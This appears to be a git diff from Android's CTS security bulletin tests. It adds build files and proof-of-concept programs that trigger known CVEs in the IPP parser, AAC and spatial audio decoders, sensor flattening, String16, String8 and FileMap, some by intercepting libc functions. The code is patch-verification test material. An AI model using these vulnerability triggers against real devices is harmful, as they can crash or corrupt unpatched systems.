+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <ipp.h>
+
+int isInitialized = 0;
+void *check_ptr = NULL;
+size_t text_len = sizeof("text/plain") - 1;
+
+static void *(*real_malloc)(size_t) = NULL;
+static int (*real_strcmp)(const char *str1, const char *str2) = NULL;
+
+void init(void) {
+ real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ if (real_malloc == NULL) {
+ return;
+ }
+ real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
+ if (real_strcmp == NULL) {
+ return;
+ }
+ isInitialized = 1;
+}
+
+void *malloc(size_t size) {
+ if (!isInitialized) {
+ init();
+ }
+ void *tmp = real_malloc(size);
+ if (size == text_len) {
+ check_ptr = tmp;
+ }
+ return tmp;
+}
+
+int strcmp(const char *str1, const char *str2) {
+ if (!isInitialized) {
+ init();
+ }
+ if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
+ exit(EXIT_VULNERABLE);
+ }
+ return real_strcmp(str1, str2);
+}
+
+int main(int argc, char **argv) {
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ int file_desc = open((const char *)argv[1], O_RDONLY);
+ if (file_desc < 0) {
+ return EXIT_FAILURE;
+ }
+
+ ipp_t *job = ippNew();
+ if (!job) {
+ return EXIT_FAILURE;
+ }
+ ippReadFile(file_desc, job);
+
+ if (job) {
+ free(job);
+ }
+ close(file_desc);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
new file mode 100644
index 0000000..5fb2d02
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9308",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libSYS/include",
+ "external/aac/libAACdec/include",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
new file mode 100644
index 0000000..59f72ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
@@ -0,0 +1,110 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written using aac_dec_fuzzer.cpp as reference.
+#include "aacdecoder_lib.h"
+#include <stdlib.h>
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint8_t kConfigBytes = 92;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+class Codec {
+public:
+ Codec() = default;
+ ~Codec() { deInitDecoder(); }
+ bool initDecoder();
+ void decodeFrames(UCHAR *data, UINT size);
+ void deInitDecoder();
+
+private:
+ HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+ AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+ bool mConfigFlag = false;
+};
+
+bool Codec::initDecoder() {
+ mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+ if (!mAacDecoderHandle) {
+ return false;
+ }
+ return true;
+}
+
+void Codec::deInitDecoder() {
+ aacDecoder_Close(mAacDecoderHandle);
+ mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+ while (size > 0) {
+ UINT inputSize = size;
+ UINT valid = size;
+
+ if (!mConfigFlag) {
+ inputSize = kConfigBytes;
+ aacDecoder_ConfigRaw(mAacDecoderHandle, &data, &inputSize);
+ data += kConfigBytes;
+ size -= kConfigBytes;
+ mConfigFlag = true;
+ continue;
+ }
+
+ aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+ INT_PCM outputBuf[kMaxOutBufferSize];
+ do {
+ mErrorCode = aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf,
+ sizeof(outputBuf), 0);
+ } while (mErrorCode == AAC_DEC_OK);
+ UINT offset = inputSize - valid;
+ data += offset;
+ size = valid;
+ }
+}
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *fp = fopen(argv[1], "rb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ fseek(fp, 0, SEEK_END);
+ UINT size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ UCHAR *data = new UCHAR[size];
+ fread(data, sizeof(UCHAR), size, fp);
+ fclose(fp);
+ fp = nullptr;
+
+ Codec *codec = new Codec();
+ if (!codec) {
+ delete[] data;
+ return EXIT_FAILURE;
+ }
+
+ if (codec->initDecoder()) {
+ codec->decodeFrames((UCHAR *)(data), static_cast<UINT>(size));
+ }
+
+ delete codec;
+ delete[] data;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
new file mode 100644
index 0000000..9c18dc9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9357",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libFDK/include",
+ "external/aac/libAACdec/src",
+ "external/aac/libSYS/include",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp
new file mode 100644
index 0000000..d906a2d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+
+#include "FDK_bitstream.h"
+#include "aacdec_hcr_types.h"
+#include "aacdec_hcrs.h"
+
+int main() {
+
+ FDK_BITSTREAM *bs = (FDK_BITSTREAM *)malloc(sizeof(FDK_BITSTREAM));
+ if (!bs) {
+ return EXIT_FAILURE;
+ }
+
+ CErHcrInfo *pHcr = (CErHcrInfo *)malloc(sizeof(CErHcrInfo));
+ if (!pHcr) {
+ free(bs);
+ return EXIT_FAILURE;
+ }
+
+ memset(bs, 0x00, sizeof(FDK_BITSTREAM));
+ memset(pHcr, 0x00, sizeof(CErHcrInfo));
+
+ DecodeNonPCWs(bs, pHcr);
+
+ free(bs);
+ free(pHcr);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
new file mode 100644
index 0000000..ebe6f13
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9362",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+ include_dirs: [
+ "external/aac/libSACdec/src",
+ "external/aac/libSACdec/include",
+ "external/aac/libFDK/include",
+ "external/aac/libSYS/include",
+ ],
+ cflags: [
+ "-Wno-unused-parameter",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp
new file mode 100644
index 0000000..f388f89
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp
@@ -0,0 +1,154 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "sac_bitdec.h"
+#include "sac_dec_conceal.h"
+#include <iostream>
+
+#define MAX_PARAMETER_SETS (9)
+#define MAX_NUM_OTT (5)
+
+#define RETURN_EXIT_FAILURE_IF_NULL(ptr) \
+ { \
+ if (!ptr) { \
+ return freeAllocatedMemoryAndReturn(frame, decoder, EXIT_FAILURE); \
+ } \
+ }
+
+typedef signed char SCHAR;
+
+int freeAllocatedMemoryAndReturn(SPATIAL_BS_FRAME *frame, spatialDec *decoder,
+ int errorCode) {
+ if (frame) {
+ if (frame->CLDLosslessData) {
+ for (int i = 0; i < MAX_NUM_OTT; ++i) {
+ if ((&frame->CLDLosslessData[i])->state) {
+ free((&frame->CLDLosslessData[i])->state);
+ (&frame->CLDLosslessData[i])->state = nullptr;
+ }
+ }
+ free(frame->CLDLosslessData);
+ frame->CLDLosslessData = nullptr;
+ }
+ if (frame->ICCLosslessData) {
+ free(frame->ICCLosslessData);
+ frame->ICCLosslessData = nullptr;
+ }
+ if (frame->IPDLosslessData) {
+ free(frame->IPDLosslessData);
+ frame->IPDLosslessData = nullptr;
+ }
+ free(frame);
+ frame = nullptr;
+ }
+
+ if (decoder) {
+ if (decoder->pConfigCurrent) {
+ free(decoder->pConfigCurrent);
+ decoder->pConfigCurrent = nullptr;
+ }
+ if (decoder->ottCLDidxPrev) {
+ free(decoder->ottCLDidxPrev);
+ decoder->ottCLDidxPrev = nullptr;
+ }
+ if (decoder->smgTime) {
+ free(decoder->smgTime);
+ decoder->smgTime = nullptr;
+ }
+ if (decoder->smgData) {
+ free(decoder->smgData);
+ decoder->smgData = nullptr;
+ }
+ if (decoder->smoothState) {
+ free(decoder->smoothState);
+ decoder->smoothState = nullptr;
+ }
+ free(decoder);
+ decoder = nullptr;
+ }
+ return errorCode;
+}
+
+int main() {
+ spatialDec *decoder = (spatialDec *)malloc(sizeof(spatialDec));
+ if (!decoder) {
+ return EXIT_FAILURE;
+ }
+ SPATIAL_BS_FRAME *frame =
+ (SPATIAL_BS_FRAME *)malloc(sizeof(SPATIAL_BS_FRAME));
+
+ RETURN_EXIT_FAILURE_IF_NULL(frame);
+ memset(frame, 0x00, sizeof(SPATIAL_BS_FRAME));
+
+ RETURN_EXIT_FAILURE_IF_NULL(decoder);
+ memset(decoder, 0x00, sizeof(spatialDec));
+
+ size_t allocSize = sizeof(LOSSLESSDATA) * MAX_NUM_OTT * MAX_NUM_PARAMETERS;
+
+ frame->CLDLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+ RETURN_EXIT_FAILURE_IF_NULL(frame->CLDLosslessData);
+ memset(frame->CLDLosslessData, 0x00, allocSize);
+
+ frame->ICCLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+ RETURN_EXIT_FAILURE_IF_NULL(frame->ICCLosslessData);
+ memset(frame->CLDLosslessData, 0x00, allocSize);
+
+ frame->IPDLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+ RETURN_EXIT_FAILURE_IF_NULL(frame->IPDLosslessData);
+ memset(frame->CLDLosslessData, 0x00, allocSize);
+
+ frame->numParameterSets = MAX_PARAMETER_SETS;
+
+ for (int i = 0; i < MAX_NUM_OTT; ++i) {
+ (&frame->CLDLosslessData[i])->state = nullptr;
+ for (int j = 0; j < MAX_PARAMETER_SETS; ++j) {
+ (&frame->CLDLosslessData[i])->bsXXXDataMode[j] = 2;
+ }
+ (&frame->CLDLosslessData[i])->state =
+ (LOSSLESSSTATE *)malloc(sizeof(LOSSLESSSTATE));
+ RETURN_EXIT_FAILURE_IF_NULL((&frame->CLDLosslessData[i])->state);
+ memset((&frame->CLDLosslessData[i])->state, 0x00, sizeof(LOSSLESSSTATE));
+ }
+
+ decoder->numOttBoxes = MAX_NUM_OTT;
+
+ decoder->pConfigCurrent =
+ (SPATIAL_SPECIFIC_CONFIG *)malloc(sizeof(SPATIAL_SPECIFIC_CONFIG));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->pConfigCurrent);
+ memset(decoder->pConfigCurrent, 0x00, sizeof(SPATIAL_SPECIFIC_CONFIG));
+
+ decoder->ottCLDidxPrev = (SCHAR **)malloc(sizeof(SCHAR *));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->ottCLDidxPrev);
+ memset(decoder->ottCLDidxPrev, 0x00, sizeof(SCHAR *));
+
+ decoder->smgTime = (int *)malloc(sizeof(int));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->smgTime);
+ memset(decoder->smgTime, 0x00, sizeof(int));
+
+ decoder->smgData = (UCHAR **)malloc(sizeof(UCHAR *));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->smgData);
+ memset(decoder->smgData, 0x00, sizeof(UCHAR *));
+
+ decoder->smoothState = (SMOOTHING_STATE *)malloc(sizeof(SMOOTHING_STATE));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->smoothState);
+ memset(decoder->smoothState, 0x00, sizeof(SMOOTHING_STATE));
+
+ decoder->arbitraryDownmix = 0;
+ (decoder->concealInfo).concealState = SpatialDecConcealState_Ok;
+
+ SpatialDecDecodeFrame(decoder, frame);
+ return freeAllocatedMemoryAndReturn(frame, decoder, EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
new file mode 100644
index 0000000..269c91e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0007",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+ shared_libs: [
+ "libsensor",
+ ],
+ cflags: [
+ "-DCHECK_UNINITIALIZED_MEMORY",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
new file mode 100644
index 0000000..78259bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
@@ -0,0 +1,64 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include "hardware/sensors.h"
+#include "sensor/Sensor.h"
+#include "stdlib.h"
+
+size_t vulnerableSize = 0;
+
+using namespace android;
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) { return (size == vulnerableSize); }
+
+static sensor_t getTestSensorT() {
+ sensor_t hwSensor = {};
+ hwSensor.name = "Test ";
+ hwSensor.vendor = hwSensor.name;
+ hwSensor.version = 1;
+ hwSensor.handle = 2;
+ hwSensor.type = SENSOR_TYPE_ACCELEROMETER;
+ hwSensor.maxRange = 10.f;
+ hwSensor.resolution = 1.f;
+ hwSensor.power = 5.f;
+ hwSensor.minDelay = 1000;
+ hwSensor.fifoReservedEventCount = 50;
+ hwSensor.fifoMaxEventCount = 100;
+ hwSensor.stringType = SENSOR_STRING_TYPE_ACCELEROMETER;
+ hwSensor.requiredPermission = "";
+ hwSensor.maxDelay = 5000;
+ hwSensor.flags = SENSOR_FLAG_CONTINUOUS_MODE;
+ return hwSensor;
+}
+
+int main() {
+ sensor_t hwSensor = getTestSensorT();
+ Sensor sensor1(&hwSensor, SENSORS_DEVICE_API_VERSION_1_4);
+ vulnerableSize = sensor1.getFlattenedSize();
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ void *buffer = malloc(vulnerableSize);
+ if (!buffer) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+ sensor1.flatten(buffer, vulnerableSize);
+ int status = is_memory_uninitialized();
+ free(buffer);
+ return status;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
new file mode 100644
index 0000000..cc2692f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0408",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
new file mode 100644
index 0000000..dcccd2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
@@ -0,0 +1,31 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "utils/String16.h"
+
+int main(void) {
+ android::String16 str{u"hello world"};
+ android::String16 substr{u"hello"};
+ const size_t begin = substr.size();
+ const size_t len = std::numeric_limits<size_t>::max();
+ if (str.remove(len, begin) != android::OK) {
+ return EXIT_FAILURE;
+ }
+ if (strcmp16(str, substr) != 0) {
+ return EXIT_FAILURE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
new file mode 100644
index 0000000..274e24d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0409",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ "libbase",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
new file mode 100644
index 0000000..085eb41
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "android-base/file.h"
+#include "utils/FileMap.h"
+
+#define FILE_NAME "test"
+#define FILE_OFFSET 200
+#define FILE_LENGTH SIZE_MAX
+
+int main() {
+ TemporaryFile tf;
+ android::FileMap fm;
+ fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
new file mode 100644
index 0000000..b4aee1e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0421",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
new file mode 100644
index 0000000..09e7f60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+
+#include "utils/String8.h"
+
+#define VULNERABLE_STRING "Q0bRTMaNUg"
+
+typedef int (*vsnprintf_t)(char *const, size_t, const char *, va_list);
+
+static vsnprintf_t fptr = nullptr;
+
+// For CVE-2020-0421 to be reproducible, the vsnprintf has to return a negative
+// value. This negative value is added to size_t resulting in runtime error.
+// Getting vsnprintf to return -1 is tricky. The issue produced in fuzzer was
+// due to the call str1.appendFormat("%S", "string"). Using wide char string
+// format specifier for regular string is not a reliable way to produce the
+// issue. As from N1570, "If any argument is not the correct type for the
+// corresponding conversion specification or If there are insufficient arguments
+// for the format, the printf behavior is undefined." The below intercepting
+// function offers a simple way to return negative value.
+int vsnprintf(char *const dest, size_t size, const char *format, va_list ap) {
+ if (!strcmp(format, VULNERABLE_STRING)) {
+ return -1;
+ }
+ return (*fptr)(dest, size, format, ap);
+}
+
+int main(void) {
+ fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
+ if (!fptr) {
+ return EXIT_FAILURE;
+ }
+ android::String8 str1{VULNERABLE_STRING};
+ str1.appendFormat(VULNERABLE_STRING);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
new file mode 100644
index 0000000..70c3eed
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0450",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
new file mode 100644
index 0000000..268153b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
